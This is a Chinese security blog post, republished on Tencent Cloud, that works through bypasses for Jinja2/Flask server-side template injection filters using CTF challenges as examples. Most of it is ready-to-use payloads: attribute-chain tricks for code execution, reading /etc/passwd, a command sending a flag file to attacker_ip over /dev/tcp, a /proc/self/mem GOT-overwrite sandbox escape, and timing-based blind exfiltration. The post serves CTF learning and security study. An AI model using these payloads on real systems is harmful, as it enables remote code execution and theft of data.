前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >SSTI Bypass 分析

SSTI Bypass 分析

作者头像
ChaMd5安全团队
发布于 2019-10-13 17:52:46
发布于 2019-10-13 17:52:46
1.8K00
代码可运行
举报
文章被收录于专栏:ChaMd5安全团队ChaMd5安全团队
运行总次数:0
代码可运行

护网杯过去不久,realworld到来之前先来研究研究SSTI的Bypass套路。

SSTI Bypass

首先来看一个护网杯的那道easypy,后台在输入{{config}}的时候出现回显,因此判断是SSTI。

继续测试,发现其过滤了[ , ' , _以及一些特殊的字符,像os,d等字符串,因此在一篇文章中发现如下的方法,使用attr进行绕过

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://152.136.21.148:5317/render?data={{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()}}&x1=__class__&x2=__base__&x3=__subclasses__

得到回显

因此只需要将转为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
[].__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['__import__']("os").popen('whoami').read()

如上的payload即可拿到flag,因此最后的payload为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(233)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").system("/bin/bash+-c+\"cat+/flag.txt+>+/dev/tcp/attacker_ip/8080\"")

同时,还可以使用如下的payload进行ssti

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{% print ""|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)(99)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)("o"+"s")|attr("popen")("cat flag.txt")|attr(request.args.re)()|safe%}&globals=__globals__&subclasses=__subclasses__&re=read&init=__init__&base=__base__&class=__class__&getitem=__getitem__

因此,借这道题目来进行一下SSTI Bypass的学习,来个简易的脚本

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import sys
from jinja2 import Template

template = Template("Hello {}".format(sys.argv[1] if len(sys.argv) > 1else '<yes>'))

print(template.render())

绕过 _ 符号

这个就是在护网杯的时候的两个payload,同时还有如下payload

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{{(()|attr(request.args.param)|attr(request.args.param1)|attr(request.args.param2)()).pop(40)(request.args.file).read()}}&param=__class__&param1=__base__&param2=__subclasses__&file=/etc/passwd

绕过 [ 符号

通过调用global进行命令执行

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen('whoami').read()}}

该payload只能在python2版本下使用

import 被阉割的情况

该问题出现在18年的全国大学生安全竞赛,因此可以用使用write修改got表。实际上是一个 /proc/self/mem 的内存操作方法 /proc/self/mem 是内存镜像,能够通过它来读写到进程的所有内存,包括可执行代码,如果我们能获取到Python一些函数的偏移,如 system ,我们便可以通过覆写 got 表达到 getshell的目的。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /etc/passwd'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

第一个是地址偏移,第二个是fopen的偏移,我们可以通过 objdump 获取相关信息 因此可以劫持got表getshell

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('l'+'s /etc/'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /etc/passwd'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

这个太难了,立个flag,后期学

或者寻找import的简介引用, closure 这个 object 保存了参数,可以引用原生的 import

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s home')

绕过 ( 、)、self、config

这个题目是TWCTF的题目,源码如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

因此利用__dict__和__globals__获取属性和定义域信息,payload为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
url_for.__globals__['current_app'].config
get_flashed_messages.__globals__['current_app'].config

获取sys

{{app.__init__.__globals__.sys.modules.app.app.__dict__}}

或者使用request来递归子属性,借用大佬的脚本进行回溯

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
def search(obj, max_depth):

    visited_clss = []
    visited_objs = []

    def visit(obj, path='obj', depth=0):
        yield path, obj

        if depth == max_depth:
            return

        elif isinstance(obj, (int, float, bool, str, bytes)):
            return

        elif isinstance(obj, type):
            if obj in visited_clss:
                return
            visited_clss.append(obj)
            print(obj)

        else:
            if obj in visited_objs:
                return
            visited_objs.append(obj)

        # attributes
        for name in dir(obj):
            if name.startswith('__') and name.endswith('__'):
                if name not in  ('__globals__', '__class__', '__self__',
                                 '__weakref__', '__objclass__', '__module__'):
                    continue
            attr = getattr(obj, name)
            yield from visit(attr, '{}.{}'.format(path, name), depth + 1)

        # dict values
        if hasattr(obj, 'items') and callable(obj.items):
            try:
                for k, v in obj.items():
                    yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
            except:
                pass

        # items
        elif isinstance(obj, (set, list, tuple, frozenset)):
            for i, v in enumerate(obj):
                yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)

    yield from visit(obj)

app.py

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import flask
import os

from flask import request
from search import search

app = flask.Flask(__name__)
app.config['FLAG'] = 'TWCTF_FLAG'

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    for path, obj in search(request, 10):
        if str(obj) == app.config['FLAG']:
            return path

if __name__ == '__main__':
    app.run(debug=True)

在无回显的情况下除了将flag弹回到自己的vps上面之外也可以用glzjin的利用事件盲注文件内容的方法

因此可以使用如下的方法继续判断

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 c=`cut -b 5 flag`; [ $c = "{" ] && sleep 4

闭包避免了使用全局变量,此外,闭包允许将函数与其所操作的某些数据(环境)关连起来。这一点与面向对象编程是非常类似的,在面对象编程中,对象允许我们将某些数据(对象的属性)与一个或者多个方法相关联。它返回的是一个由 cell 对象 组成的元组对象 ,那么就可以用来调用os方法了,因此可以使用闭包__closure__方法来引用os模块,payload如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('c=`cut -b 5  /root/flag`; [ $c = \"{\" ] && sleep 3 ')

Reference

  • https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti
  • https://wiki.x10sec.org/pwn/sandbox/python-sandbox-escape/
  • https://bestwing.me/awesome-python-sandbox-in-ciscn.html
  • https://xz.aliyun.com/t/52#toc-0
  • https://www.xmsec.cc/ssti-and-bypass-sandbox-in-jinja2/
  • https://www.zhaoj.in/read-6251.html
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
一文了解SSTI和所有常见payload 以flask模板为例
SSTI,服务器端模板注入(Server-Side Template Injection)
中龙技术
2022/09/30
4.6K0
一文了解SSTI和所有常见payload 以flask模板为例
Python安全 | Flask-jinja2 SSTI 利用手册
很多刚开始学习SSTI的新手可能看到上面的利用方法就蒙圈了,不太懂为什么要这么做,下面来讲一下关于Python中类的知识。面向对象语言的方法来自于类,对于python,有很多好用的函数库,我们经常会再写Python中用到import来引入许多的类和方法,python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object,而object拥有众多的子类。
HACK学习
2021/06/24
3.3K0
Python安全 | Flask-jinja2 SSTI 利用手册
SSTI模板注入Plus | Bypass
除了标准的python语法使用点(.)外,还可以使用中括号([])来访问变量的属性
h0cksr
2023/05/17
4590
SSTI模板注入Plus | Bypass
关于flask的SSTI注入[通俗易懂]
ssti注入又称服务器端模板注入攻击(Server-Side Template Injection),和sql注入一样,也是由于接受用户输入而造成的安全问题。
全栈程序员站长
2022/09/27
2.8K1
关于flask的SSTI注入[通俗易懂]
(精编)Python与安全(三)SSTI服务器模板注入
__mro__返回一个包含类或对象所继承的基类元组。方法在解析式按照元组的顺序解析,从自身所属类到<class'object'>。
Power7089
2020/07/27
8870
(精编)Python与安全(三)SSTI服务器模板注入
ssti模板注入 命令执行_access注入绕过
前言:​SSTI(服务端模板注入),已然不再是一个新话题,近年来的CTF中还是也经常能遇到的,比如护网杯的easy_tonado、TWCTF的Shrine,19年的SCTF也出了Ruby ERB SSTI的考点;本篇对这部分总结一下,方便未来做题和复习的时候查阅!也欢迎各路大佬在评论区指正或者放出自己的WP链接互相学习!
全栈程序员站长
2022/09/27
1.2K0
ssti模板注入 命令执行_access注入绕过
Python安全之SSTI——Flask/Jinja2
SSTI(Server Side Template Injection),又称服务端模板注入攻击。其发生在MVC框架中的view层,常见的用于渲染的模板有Twig、FreeMarker、Velocity、Smarty等。
Jayway
2020/06/02
4.3K0
Python安全之SSTI——Flask/Jinja2
Flask-SSTI模版注入
可以看到Template("Hello "+ name) 是直接将变量name给输出到模版,如下图
偏有宸机
2020/11/04
1K0
Flask-SSTI模版注入
【愚公系列】2023年06月 攻防世界-Web(easy_web)
SSTI模板注入是一种特殊的代码注入攻击,在使用模板引擎的Web应用程序中广泛存在。攻击者通过输入恶意数据,触发模板引擎解析执行攻击代码,从而控制应用程序并获取敏感信息。
愚公搬代码
2025/05/28
480
【愚公系列】2023年06月 攻防世界-Web(easy_web)
CTFshow——SSTI
个人感觉SSTI有点难度且繁琐的..哎,还是有好多不会的,只能参照着师傅的解法尝试复现一下。
全栈程序员站长
2022/11/01
1.9K0
CTFshow——SSTI
SSTI模板注入 | No_Bypass
模板可以理解为是一段固定好格式,并等着你来填充信息的文件,模板注入就是指将一串指令代替变量传入模板中让它执行
h0cksr
2023/05/17
5670
SSTI漏洞基础分析
妥妥造成了信息泄露,但是还可以将危害扩大化,直接造成任意文件读取和RCE,在可以保证能看懂的情况下,我们得先学习python的魔术方法和继承关系,接下来细说~
vFREE
2022/04/01
6180
SSTI漏洞基础分析
Hack the Box:Baby Ninja Jinja解题经历
0x00 又到快乐节假日,有足够的时间来玩玩 htb 了。话不多说,走起! 0x01 拿到源码 开始访问页面,是一段奇怪的介绍,然后一个输入框 先随便输入个什么试试,发现输入”的时候,出现了 flask 的报错 debug 页面,看起来是存在注入的。 在仔细审计下返回的 html,又发现了奇怪的东西,感觉 htb 出题目的人都喜欢把因此的接口放在注释里。 访问下/debug,嘿,这太眼熟了,flask。这个套路和之前 rick 那个好像是一样的,于是我看了下两道题的作者,果然是同一个人。 0x02
FB客服
2023/04/26
3780
Hack the Box:Baby Ninja Jinja解题经历
Python SSTI利用jinja过滤器进行Bypass
attr()是 jinja2 的原生函数,它是一个过滤器,只查找属性,获取并返回对象的属性的值。
ph0ebus
2023/05/16
7180
从SSTI模板注入到内存马
目前 SSTI 都是基于Flask环境下去复现的提到SSTI就必须了解一些魔术方法
用户2700375
2022/09/28
1.2K0
从SSTI模板注入到内存马
ImaginaryCTF 2022
这个比赛题量给到位,而且都算是可以接受的题目,考的内容涵盖也很多,非常值得学习一下,当然,我比赛过程中没出几道,菜鸡继续学习~~~
故里[TRUE]
2023/04/19
4630
ImaginaryCTF 2022
HGAME 2022 Final writeup
抢完misc的一血后回来看web了,简单看了看两题后决定先看ez_blog这个题,原因的话也很简单,sql注入我确实不太熟悉,比赛结束后一定去好好学一学,然后这个题也是比较快速的发现的注入点觉得算是心里有谱能做下去吧,就差不多8-11点左右出了个misc后11点到17点这段时间都在做这个题。
ek1ng
2022/08/10
8690
HGAME 2022 Final writeup
SSTI 学习笔记
像文件包含,有一个include函数,sql注入,似乎都有些共同点,都是利用某个函数或者其他的东西,执行恶意的命令
全栈程序员站长
2022/11/01
6120
浅谈Flask模板注入攻击
​ 由于最近一直在学二进制,所以web方面时间就不是很充足了,在buuoj上做了几道web,其中有一道flask(jinja2)的SSTI,之前也接触过,所以今天就来复现下flask ssti,这里推荐一个学习环境
ly0n
2020/11/04
1.8K0
浅谈Flask模板注入攻击
FlaskJinja2 开发中遇到的的服务端注入问题研究 II
0x00. 前言 本篇文章是 《Flask Jinja2 开发中遇到的的服务端注入问题研究》<点击阅读原文查看链接>续篇,我们继续研究 Flask Jinja2开发中遇到的SSTI问题,本篇文章会介
FB客服
2018/02/28
9640
FlaskJinja2 开发中遇到的的服务端注入问题研究 II
相关推荐
一文了解SSTI和所有常见payload 以flask模板为例
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档